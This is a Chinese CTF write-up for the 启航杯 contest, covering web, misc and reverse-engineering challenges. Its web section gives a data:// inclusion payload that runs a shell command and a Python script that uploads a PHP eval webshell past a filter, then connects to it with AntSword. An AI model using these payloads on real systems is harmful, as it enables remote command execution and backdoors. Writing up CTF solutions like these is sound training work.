启航杯writeup

news/2025/3/20 10:26:55/文章来源:https://www.cnblogs.com/godjian/p/18782487

启航杯writeup

一、web
1.Easy_include题解
  1. 打开网址得到php代码,发现存在可以通过伪协议来绕过过滤

image-20250125161835998

​ 2.构造伪协议

​ 命令会反向输出所有以fl开头的文件内容输出得到的内容。

?file=data://text/plain,<?=system('tac fl*');?>

​ 3.得到flag

image-20250125162535330

2.PCR(文件上传请求)

由if(empty($_FILES)) {
die(show_source(FILE));
}看出是上传文件。

段PHP代码的主要功能是处理文件上传,并对上传的文件进行简单的安全检查。以下是对这段代码的详细分析:

<?php
function is_php($data){return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
#<\?php:匹配PHP代码的开始标记<?php。
.*?:非贪婪匹配任意字符,尽可能少地匹配。
eval:匹配字符串eval。
.*?\(.*?\):匹配eval函数的参数部分,非贪婪匹配。
\>:匹配PHP代码的结束标记>。
is:正则表达式的修饰符,i表示不区分大小写,s表示.可以匹配换行符if(empty($_FILES)) {die(show_source(__FILE__));
}#检查是否有文件上传。如果没有文件上传,显示当前文件的源代码并终止执行$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
#:读取上传文件的临时路径,并获取文件内容。
路径处理:$user_dir变量用于存储用户文件的目录,目录名称基于客户端IP地址的MD5值,这样可以避免目录冲突。
if (is_php($data)) {echo "bad request";
} else {if (!is_dir($user_dir)) {mkdir($user_dir, 0755, true);}$path = $user_dir . '/' . random_int(0, 10) . '.php';move_uploaded_file($_FILES['file']['tmp_name'], $path);header("Location: $path", true, 303);exit;
}#对文件内容进行安全检查,如果文件内容包含eval函数调用,则返回“bad request”。
目录创建:如果用户目录不存在,则创建该目录,权限为0755。
文件移动:将上传的文件移动到指定路径,文件名由随机整数(0-10)和.php后缀组成。
?> 1

构造python脚本

import requestsurl='http://2025.qihangcup.cn:32948/'file={'file':('1.php','<?=eval($_POST[1]:?>','image/png')}res=requests.post(url,files=file,allow_redirects=False)#allow_redirects=False不让其重定向
print(f"路径:{url}{res.headers['Location']},木马为:1")

or自己写一个提交表单

<formaction="http://challenge.qihangcup.cn:35056/"method="POST"enctype="multipart/form-data"
><input type="file" name="file" /><input type="submit" value="Upload File" />
</form>

最后用蚁剑连接

二Misc题解
1.请找出拍摄地所在位置

打开图片

image-20250125163107370

可以发现有好多可确认的标识例如:

image-20250125163233914

在地图搜索有关的文字:

image-20250125163947921

最后得到

QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉口}

三,逆向
checker

image-20250130210243694

发现是一个输入字符串就是flag的进去-》》check_flag

image-20250130210342804

image-20250130210422528

数据流,将数据流转换为

.data:00404020 _encrypted_flag db 'rk`weXFF'           ; DATA XREF: _check_flag+1D↑o
.data:00404028                 db  15h
.data:00404029                 db  40h ; @
.data:0040402A                 db  14h
.data:0040402B                 db  41h ; A
.data:0040402C                 db  1Ah
.data:0040402D                 db  40h ; @
.data:0040402E                 db  0Eh
.data:0040402F                 db  46h ; F
.data:00404030                 db  14h
.data:00404031                 db  45h ; E
.data:00404032                 db  16h
.data:00404033                 db  0Eh
.data:00404034                 db  17h
.data:00404035                 db  45h ; E
.data:00404036                 db  42h ; B
.data:00404037                 db  41h ; A
.data:00404038                 db  0Eh
.data:00404039                 db  1Ah
.data:0040403A                 db  41h ; A
.data:0040403B                 db  47h ; G
.data:0040403C                 db  45h ; E
.data:0040403D                 db  0Eh
.data:0040403E                 db  46h ; F
.data:0040403F                 db  42h ; B
.data:00404040                 db  13h
.data:00404041                 db  14h
.data:00404042                 db  46h ; F
.data:00404043                 db  13h
.data:00404044                 db  10h
.data:00404045                 db  17h
.data:00404046                 db  45h ; E
.data:00404047                 db  15h
.data:00404048                 db  42h ; B
.data:00404049                 db  16h
.data:0040404A                 db  5Eh ; ^

将加密数据转换为字节序列

  1. 提取每个字节的十六进制值

    • 每两个字符表示一个字节。例如,72 是一个字节,6B 是一个字节,依此类推。
    • 十六进制的 h 表示这是一个十六进制数,例如 15h 表示十六进制的 15
  2. 将十六进制值转换为字节

    • 十六进制的每个字符代表一个 4 位的二进制值。例如:
      • 0 = 0000
      • 1 = 0001
      • 2 = 0010
      • ...
      • 9 = 1001
      • A = 1010
      • B = 1011
      • ...
      • F = 1111
    • 两个十六进制字符组合成一个字节。例如:
      • 72 = 0111 0010
      • 6B = 0110 1011
      • FF = 1111 1111
  3. 将字节存储到内存中

    • 每个字节可以直接存储到内存中,或者用数组表示。

得到数据

726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E

进行异或

#bytes.fromhex() 将十六进制字符串转换为字节序列
#bytearray() 创建一个可变的字节数组,允许对每个字节进行修改
#bytearray 转换回不可变的字节序列(bytes),并打印结果cip = bytes.fromhex("726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E")
cip = bytearray(cip)
for i in range(len(cip)):cip[i] ^= 0x23print(bytes(cip))运行结果为b'QHCTF{ee6c7b9c-e7f5-4fab-9bdf-ea07e034f6a5}'
Rainbow

给出了output.txt

image-20250131102839606

image-20250131102852564

直接进行异或

#bytes.fromhex() 将十六进制字符串转换为字节序列
#bytearray() 创建一个可变的字节数组,允许对每个字节进行修改
#bytearray 转换回不可变的字节序列(bytes),并打印结果cip = bytearray(bytes.fromhex("0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227"))
for i in range(len(cip)):cip[i] ^= 90print(bytes(cip))运行结果为b'QHCTF{a8226103-5a9a-4fa7-abcf-dea438a7ce78}'
note

查看发现有upx壳所有要进行脱壳

image-20250131103227504

在此文件打开cmd

image-20250131103331004

image-20250131103353167

脱壳完成

image-20250131103859909

启动gdb

image-20250131113905670

image-20250131113735358

  1. 启动程序并暂停在入口点

    gdb复制

    break _start
    run
    

    这将启动程序并暂停在 _start 函数。

  2. 设置断点: 在程序暂停后,设置断点到你感兴趣的地址。例如:

    gdb复制

    brva 0x00000000000012A8
    
  3. 继续运行程序

    gdb复制

    continue
    

    程序将继续运行,直到到达你设置的断点。

image-20250131114834973

image-20250131114859600

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/901911.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用ArgoCD管理Kubernetes部署指南

对于寻求利用云原生技术力量的组织来说,高效管理 Kubernetes 部署至关重要。ArgoCD 是一款针对 Kubernetes 的声明式 GitOps 持续交付工具,它是一种强大的解决方案。它有助于根据存储在 Git 存储库中的配置自动部署应用程序,从而使 Kubernetes 集群中的应用程序状态与 Git 中…

DeepC2—基于DeepSeek的C2平台

蹭个DeepSeek热点最近DeepSeek很火,蹭个热点,前几天搞了个自动生成工具的网站,有模有样吧,作用的话看看就行,网上绝大部分所谓的Agent也就这样...

3.19 CW 模拟赛 T3. 软件工程

前言 策略肯定是锅了, 基础上需要对策略进行一些修改 喵了个咪的最终还是要针对考试 谢特 某吴姓同学的策略是非常适合我的, 在它的基础上, 我们考虑进行一些本土化 首先花 \(20 \textrm{min}\) 思考每道题, 也就是每道题严格 \(5 \textrm{ min}\) 首先按照能拿到的 \(\rm{subt…

生成AI的两大范式:扩散模型与Flow Matching的理论基础与技术比较

生成模型已成为人工智能领域的关键突破,赋予机器创建高度逼真的图像、音频和文本的能力。在众多生成技术中,扩散模型和Flow Matching尤为引人注目。这两种方法虽然都致力于在噪声与结构化数据之间建立转换,但其基础原理存在本质区别。本文将系统地比较这两种先进技术,深入探…

基于ACE_SOCK_Dgram的UDP同步通信

1、创建基于ACE_SOCK_DGRAM的UDP服务端1 void udp_server_base_on_synch()2 {3 // 1. 绑定服务端地址(端口 8080)4 ACE_INET_Addr server_addr(8080);5 ACE_SOCK_DGRAM sock;6 if (sock.open(server_addr) == -1) {7 std::cerr << "Serve…

第二十一章 项目管理科学基础(2025年详细解析版)

目录导学21.1 工程经济学资金的时间价值与等值计算定义常识现在值与将来值等值计算问题单利法与复利法 (利滚利)单利法复利法承兑汇票示例项目经济静态评价方法什么叫回收期?什么叫静态?静态投资回收期例题(必须掌握)投资收益率定义公式例题项目经济动态评价方法什么是动态…

windows输入法选用

前言 一直以来pc输入法都是用的搜狗,但是总想换一个用一用,每次都是尝试换讯飞,每次都用不下去。 不推荐 讯飞 bug极多。比如中文输入下,按shift,应该留下英文。当然一般情况下没问题,但是出现bug时,切换后再打字,会覆盖前面的字。 QQ 曾长期使用过,但是那时候用电脑用…

OpenTelemetry安装和使用

官网 https://opentelemetry.io/环境查看 系统环境# cat /etc/redhat-release Rocky Linux release 9.3 (Blue Onyx) # uname -a Linux Rocky9Opentelemetry003078 5.14.0-362.18.1.el9_3.0.1.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Feb 11 13:49:23 UTC 2024 x86_64 x86_64 x86_…

大厂裁员不断,这个高薪岗位却找不到人?

《未来简史》写道:“未来属于那些能够快速适应变化、不断学习新技能的人。”大家好,我是陈哥。 当下,裁员潮席卷全球:微软裁撤万人级游戏部门,谷歌AI伦理团队被优化,亚马逊用机器人取代数万仓储岗位。然而,DevOps工程师的招聘却逆势而上。 据美国在线求职平台FlexJobs数…

跑酷P2 移动有害和切换关卡

跑酷游戏 第二集 本集中我们对上一集中的移动问题进行了优化,并且制作了关卡切换功能。 移动优化 上一集中,我们留下了一些移动方面的问题。首先是连跳问题,角色在空中可以不受限制的跳跃,我们需要解决一下。新建一个私有变量正在跳跃,用来存放角色跳跃的状态。在游戏开始…

跑酷P6 过关功能

跑酷游戏 第六集 本集我们实现了完成关卡的功能,并且修复了重新开始游戏后物资的bug。 角色绘制和显示逻辑 我们复制一下我们的物资角色,重命名为出口。然后绘制两个造型,一个是出口关闭的造型,一个是出口打开的造型。然后到我们的代码部分。我们的出口代码和物资角色的代码…

跑酷P6 关卡和金币系统

塔防游戏 第六集 本集主要实现了游戏的关卡处理和金币系统。 关卡处理 绘制一个开始按钮放置在画面左上方。我们希望在游戏开始时,或者一波关卡结束之后可以点击这个按钮,生成新一个关卡的敌人。我们新建一个全局变量关卡。游戏开始时关卡默认为0,每次开启一个新的关卡让这个…